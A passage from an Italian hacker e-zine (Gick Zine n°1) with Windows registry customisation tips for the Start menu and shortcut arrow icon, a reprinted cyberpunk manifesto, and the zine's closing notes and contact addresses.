|inserirai il percorso completo dell'applicazione, in questo caso notepad, nel |
|valore di default presente nel pannello di destra. Così io ho modificato il va- |
|lore della stringa di default e ho inserito il percorso completo di notepad: |
| |
| c:\windows\notepad.exe |
| |
|Adesso premi F5 per ricaricare. Adesso se fai un click destro sul pulsante start|
|troverai una linea aggiunta al menu a comparsa chiamata notepad. Clickando su di|
|essa si lancia notepad. |
| |
|Noi possiamo non solo aggiungere, ma anche rimuovere opzioni esistenti in questo|
|menu a comparsa. |
| |
|Per cancellare l'opzione trova vai alla seguente chiave del registro: |
| |
| HKEY_CLASSES_ROOT\Directory\Shell\Find |
| |
|Cancella 'Find'. Non cancellare 'Open' o non sarai capace di aprire alcuna |
|cartella nel menu start come programmi, accessori, ecc.. |
| |
+--------------------------------------------------------------------------------+
| |
| - Customizzare la freccia dei collegamenti |
| |
|Tutti i collegamenti hanno una sottile freccia nera attaccata alla loro icona |
|per distinguerli dai files normali. Questa freccia può essere abbastanza noiosa |
|e poichè un hacker dovrebbe sapere come cambiare ogni cosa, andiamo avanti con |
|un altro trucco. Lancia l'editor del registro e vai a: |
| |
|HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\ShellIcons|
| |
|Adesso, sul pannello di destra c'è una lista di icone (abbiamo trovato che su |
|alcuni sistemi, specialmente win98, che il pannello di destra è vuoto. |
|Non temere, basta aggiungere i valori richiesti). Trova il valore 29 Se non c'è |
|aggiungilo. Il valore di questa stringa dovrebbe essere C:\Windows\system\ |
|shell32.dll, 29 (che significa la 30esima icona in shell32.dll - la prima delle |
|quali comincia con 0). Adesso, noi necessitiamo di un icona vuota per fare |
|questo, crea un icona che sia totalmente bianca. Una volta fatto cambia il va- |
|lore in c:\xxx.ico, 0 dove 'xxx' è il percorso completo del file icona e '0' è |
|l'icona in esso. |
| |
|Adesso per un pò di divertimento. Se l'icona bianca è un pò noiosa, cambiala |
|ancora, troverai che sotto shell32.dll c'è un molteplicità di icone, una cartel-|
|la condivisa (la mano) e molto altro. Sperimenta da te! |
| |
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


+--------------------------------------------------------------------------------+
|Gick Zine n° 1 - [VARI] -=[10]=- |
|Manifesto CyberPunk Internet |
+--------------------------------------------------------------------------------+
| __ __ |
| _______ __/ /_ ___ _________ __ ______ / /__ |
| / ___/ / / / __ \/ _ \/ ___/ __ \/ / / / __ \/ //_/ |
| / /__/ /_/ / /_/ / __/ / / /_/ / /_/ / / / / ,< |
| \___/\__, /_.___/\___/_/ / .___/\__,_/_/ /_/_/|_| |
| /____/ /_/ |
| |
+--------------------------------------------------------------------------------+
| |
| Un Manifesto Cyberpunk tratto dalla rete |
| |
|Siamo le MENTI ELETTRONICHE, un gruppo di liberi pensatori ribelli. Cyberpunk. |
|Viviamo nel cyberspazio, siamo dappertutto, non conosciamo frontiere. |
|Questo e' il nostro manifesto. Il manifesto del cyberpunk. |
| |
+--------------------------------------------------------------------------------+
| |
| 1/ Siamo quelli, i Diversi. Ratti tecnologici, che nuotano nell'oceano |
| dell'informazione. |
| |
| 2/ Siamo quelli schivi, i ragazzini a scuola che siedono nell'ultimo banco, |
| nell'angolo della classe. |
| |
| 3/ Siamo i giovani che tutti considerano strani. |
| |
| 4/ Siamo gli studenti che hackano i sistemi, che esplorano la profondita' |
| della sua portata. |
| |
| 5/ Siamo quelli cresciuti nel parco, seduti su una panchina, con il portatile |
| sulle ginocchia, che programmano l'ultima realta' virtuale. |
| |
| 6/ Nostro e' il garage, riempito di aggeggi elettronici. Il saldatore |
| nell'angolo della scrivania e vicino la radio smontata - anche queste cose |
| sono nostre. Nostra e' la cantina con il computer, la stampante che ronza e |
| il modem che fa beep. |
| |
| 7/ Siamo quelli che vedono la realta' in un modo diverso. Il nostro punto di |
| vista mostra piu' di quello che la gente normale vede. Essi vedono solo |
| quello che e' esternamente, ma noi vediamo dentro. Questo e' quello che |
| siamo, realisti con gli occhiali dei sognatori. |
| |
| 8/ Siamo quelle strane persone, per la maggior parte sconosciute ai vicini. |
| Gente, assorta nei suoi pensieri, che siede tutti i giorni davanti al |
| computer, che mette a soqquadro la rete per qualcosa. Non usciamo spesso, |
| solo di tanto in tanto, solo per andare al vicino negozio di radiofonia, o |
| al solito bar per incontrare i pochi amici che abbiamo, o per incontrare un |
| cliente, o dal farmacista... o solo per una passeggiata. |
| |
| 9/ Non abbiamo molti amici, solo alcuni con cui andare alle feste. Tutti gli |
| altri che conosciamo, li conosciamo sulla rete. I nostri veri amici sono |
| li', all'altro capo del filo. Li conosciamo con il nostro canale di irc |
| preferito, con i news-groups, con i sistemi nei quali cazzeggiamo. |
| |
|10/ Siamo quelli a cui non importa cio' che gli altri pensano di noi, non ci |
| importa di come sembriamo o cosa la gente dice in nostra assenza. |
| |
|11/ La maggior parte di noi vive nascondendosi, non siamo conosciuti da nessuno |
| a parte quelli con cui dobbiamo per forza aver a che fare. |
| |
|12/ Gli altri adorano la pubblicita', adorano la fama. Sono tutti conosciuti |
| nel mondo dell'underground. I loro nomi risuonano spesso qui. Ma noi siamo |
| uniti da una cosa - siamo Cyberpunks. |
| |
|13/ La societa' non ci capisce, noi siamo "strani" e "pazzi" agli occhi della |
| gente normale che vive lontano dalla libera informazione e dalle libere |
| idee. La societa' impedisce la nostra corrente di pensiero - una societa' |
| che vive, pensa e respira in una unica maniera - uno stereotipo. |
| |
|14/ Ci rinnegano perche' pensiamo come gente libera, e il libero pensiero e' |
| proibito. |
| |
|15/ Il cyberpunk ha apparenze esteriori, e' non-movimento. I cyberpunks sono |
| persone, che partono dalla normalita', sconosciute agli altri, all'artista |
| tecno-maniaco, al musicista, allo studente superficiale, che suonano musica |
| elettronica. |
| |
|16/ Il cyberpunk non e' piu' un genere letterario, nemmeno una normale |
| sottocultura. Il cyberpunk e' una nuova cultura della solitudine, figlia di |
| una nuova generazione. Una cultura che unsce i nostri interessi e i nostri |
| punti di vista. Siamo un'unita'. Siamo Cyberpunks. |
| |
+--------------------------------------------------------------------------------+


____ _ _
/ ___|___ _ __ ___| |_ _ ___(_) ___ _ __ ___
| | / _ \| '_ \ / __| | | | / __| |/ _ \| '_ \ / _ \
| |__| (_) | | | | (__| | |_| \__ \ | (_) | | | | __/
\____\___/|_| |_|\___|_|\__,_|___/_|\___/|_| |_|\___|



+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [Conclusione] -=[#1]=- |
| Cenni Finali -=(Gick)=- |
+--------------------------------------------------------------------------------+
| |
|Bene, questo primo numero della Zine è giunto al termine, spero che sia stato |
|utile a qualcuno... |
| |
|Vi ricordo che siete tutti invitati a inviare i vostri articoli all'indirizzo: |
|articoli@gick.cjb.net |
| |
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [Conclusione] -=[#2]=- |
| Dove Trovarci -=(Gick)=- |
+--------------------------------------------------------------------------------+
| |
| Sito Web:www.gick.cjb.net |
| |
| e-m@il: mail@gick.cjb.net |
| |
| Per inviare gli articoli: articoli@gick.cjb.net |
| |
| Ciao a tutti e alla prossima puntata... |
| |
+--------------------------------------------------------------------------------+

next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT